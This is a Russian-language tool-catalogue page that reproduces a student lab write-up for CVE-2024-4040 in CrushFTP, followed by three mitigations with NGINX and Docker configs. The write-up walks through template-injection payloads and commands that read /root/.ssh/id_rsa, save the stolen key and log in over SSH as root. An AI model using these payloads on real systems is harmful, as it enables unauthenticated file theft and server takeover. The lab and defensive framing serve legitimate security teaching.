Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — Доказательство концепции эксплуатации CVE-2024-4040, демонстрирующее неаутентифицированную SSTI и чтение локальных файлов в CrushFTP, с Docker-лабораторией и стратегиями смягчения последствий. | Kitploit
Инструменты/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

Доказательство концепции эксплуатации CVE-2024-4040, демонстрирующее неаутентифицированную SSTI и чтение локальных файлов в CrushFTP, с Docker-лабораторией и стратегиями смягчения последствий.

Репозиторий
54 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость CVE-2024-4040 — CrushFTP SSTI / LFI Proof of Concept

Только для образовательных целей и авторизованных лабораторных работ.
Для модуля CS443 «Безопасность программного обеспечения и систем». Лабораторная работа выполнялась в контролируемой локальной среде Docker.


Сводка об уязвимости

ПолеДетали
CVECVE-2024-4040
Затронутое ПОCrushFTP < 10.7.1 (ветка v10) / < 11.1.0 (ветка v11)
Тип уязвимостиServer-Side Template Injection (SSTI) → Неаутентифицированное чтение локальных файлов
Оценка CVSS9.8 Критическая
ВоздействиеНеаутентифицированные злоумышленники могут читать произвольные файлы из файловой системы сервера

WebInterface в CrushFTP вычисляет шаблонные выражения в параметре path команды zip без санитизации. Неаутентифицированный злоумышленник может получить анонимные файлы cookie сессии, а затем использовать их для передачи шаблонных payload-ов ({working_dir}, <INCLUDE>…</INCLUDE>), которые сервер вычисляет и возвращает, — что позволяет читать произвольные файлы на хосте.


Лабораторная среда

КомпонентЗначение
Цельhttp://localhost:8080
Базовая версия CrushFTP для PoC10.3.0 (намеренно уязвимая)
Тестовая среда меры 3Отдельный контейнер с CrushFTP 11.x (исправленная ветка)
SSH-порт (контейнер)2222 → 22
Учётные данные администратораadmin / admin
Среда выполнения контейнераDocker (Compose)

Предварительные требования

root@kitploit:~
pip install requests rich

Скрипты

СкриптИсточникНазначение
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCПолный эксплойт SSTI/LFI — похищение сессии, чтение произвольных файлов
recon.pyЭтот репозиторийОпределение версии, живая SSTI-проверка, подтверждение уязвимости

Пошаговое прохождение Proof of Concept

Шаг 1 — Запуск лабораторной среды

root@kitploit:~
docker-compose up -d

Подождите ~10 секунд, чтобы CrushFTP полностью инициализировался, прежде чем запускать скрипты. Отдельный этап разведки здесь не требуется, поскольку crushed.py уже проверяет возможность эксплуатации во время выполнения.


Шаг 2 — Похищение закрытого SSH-ключа через LFI

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

Скрипт выполнит следующие действия:

  1. Получит анонимную сессию CrushAuth / currentAuth из /WebInterface/
  2. Использует SSTI для подтверждения вычисления шаблонов и утечки имени хоста сервера
  3. Использует {working_dir} для определения каталога установки CrushFTP
  4. Использует <INCLUDE>/root/.ssh/id_rsa</INCLUDE> для чтения целевого файла
  5. Выведет необработанное содержимое файла в stdout

Скопируйте блок закрытого ключа из вывода (всё от -----BEGIN OPENSSH PRIVATE KEY----- до -----END OPENSSH PRIVATE KEY-----).


Шаг 3 — Сохранение похищенного ключа

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Шаг 4 — Подключение по SSH к контейнеру под пользователем root

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Шаг 5 — Подтверждение прав root

root@kitploit:~
whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

Схема цепочки атаки

root@kitploit:~
Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

Ключевые известные проблемы в crushed.py

ПроблемаМестоПодробности
Отсутствующая зависимостьСтроки 6–9Требуется pip install rich перед запуском
Хрупкий разбор XMLСтроки 86, 140Завершается ошибкой при не-XML ответах сервера; нет обработки ParseError
Слишком строгое регулярное выражение для токенаСтроки 160–161Шаблон CrushAuth=…; currentAuth=… может не соответствовать всем форматам sessions.obj
Только HTTP 404Строка 53Захват cookie срабатывает только при 404; при других кодах статуса молча пропускается

Стратегии смягчения последствий

Мера 1 — Межсетевой экран веб-приложения (NGINX + ModSecurity)

Обзор

WAF действует как обратный прокси-сервер, который проверяет входящий HTTP/S-трафик до того, как он достигнет CrushFTP. С помощью NGINX с ModSecurity вредоносные запросы, эксплуатирующие CVE-2024-4040, блокируются на сетевой границе без изменения самого CrushFTP.

Как это смягчает CVE-2024-4040

  • Блокирует обходные пути (например, ../, %2e%2e) в URI запросов и cookie
  • Предотвращает попадание неаутентифицированных запросов на выход из VFS до CrushFTP
  • Логирует и отклоняет подозрительные payload-ы до того, как они достигнут приложения

Настройка Docker

Используйте Mitigation 1/docker-compose.yaml:

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Конфигурация NGINX

Используйте Mitigation 1/nginx.conf:

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Схема трафика

root@kitploit:~
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Ограничения

  • Не устраняет корневую причину — CrushFTP остаётся уязвимым, если WAF обойдён
  • Требует обновления правил по мере разработки злоумышленниками техник обфускации

Мера 2 — Отключение анонимного доступа пользователей

Обзор

CVE-2024-4040 эксплуатируется без аутентификации. В этой лабораторной среде доступ анонимного типа блокируется на уровне NGINX путём требования заголовка Authorization перед проксированием чувствительных маршрутов к CrushFTP.

Как это смягчает CVE-2024-4040

  • Скрипты-эксплойты, такие как crushed.py, полагаются на неаутентифицированный доступ; запросы без учётных данных отклоняются с кодом 401
  • Запросы к /WebInterface/ и / отклоняются, если данные аутентификации отсутствуют
  • Снижает доступность уязвимых конечных точек для неаутентифицированных пользователей

Настройка Docker (точно из Mitigation 2/docker-compose.yaml)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Политика NGINX (точно из Mitigation 2/nginx.conf)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Проверка через Docker

root@kitploit:~
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized

# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

Ограничения

  • Не устраняет базовую уязвимость; аутентифицированные пользователи всё ещё могут быть под угрозой, если логика эксплойта будет адаптирована
  • Принудительное применение зависит от размещения прокси и корректной обработки заголовков перед CrushFTP

Мера 3 — Обновление до CrushFTP версии 11

Обзор

Обновление до CrushFTP 11 — наиболее эффективное и постоянное исправление. Патч добавляет строгую проверку входных данных при разрешении путей VFS, устраняя корневую причину CVE-2024-4040.

Как это смягчает CVE-2024-4040

  • Обеспечивает строгую изоляцию (sandboxing) путей VFS — попытки выхода за пределы отклоняются на уровне приложения
  • Скрипты-эксплойты, такие как crushed.py, больше не работают против версии 11
  • Исправление применяется на уровне исходного кода, а не маскируется внешними средствами контроля

Реализация

Обновите ваш Dockerfile, чтобы использовать CrushFTP 11:

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

Пересоберите контейнер:

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

Проверка работоспособности патча

root@kitploit:~
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080

# Expected: exploit returns no output or connection error
Скачать инструмент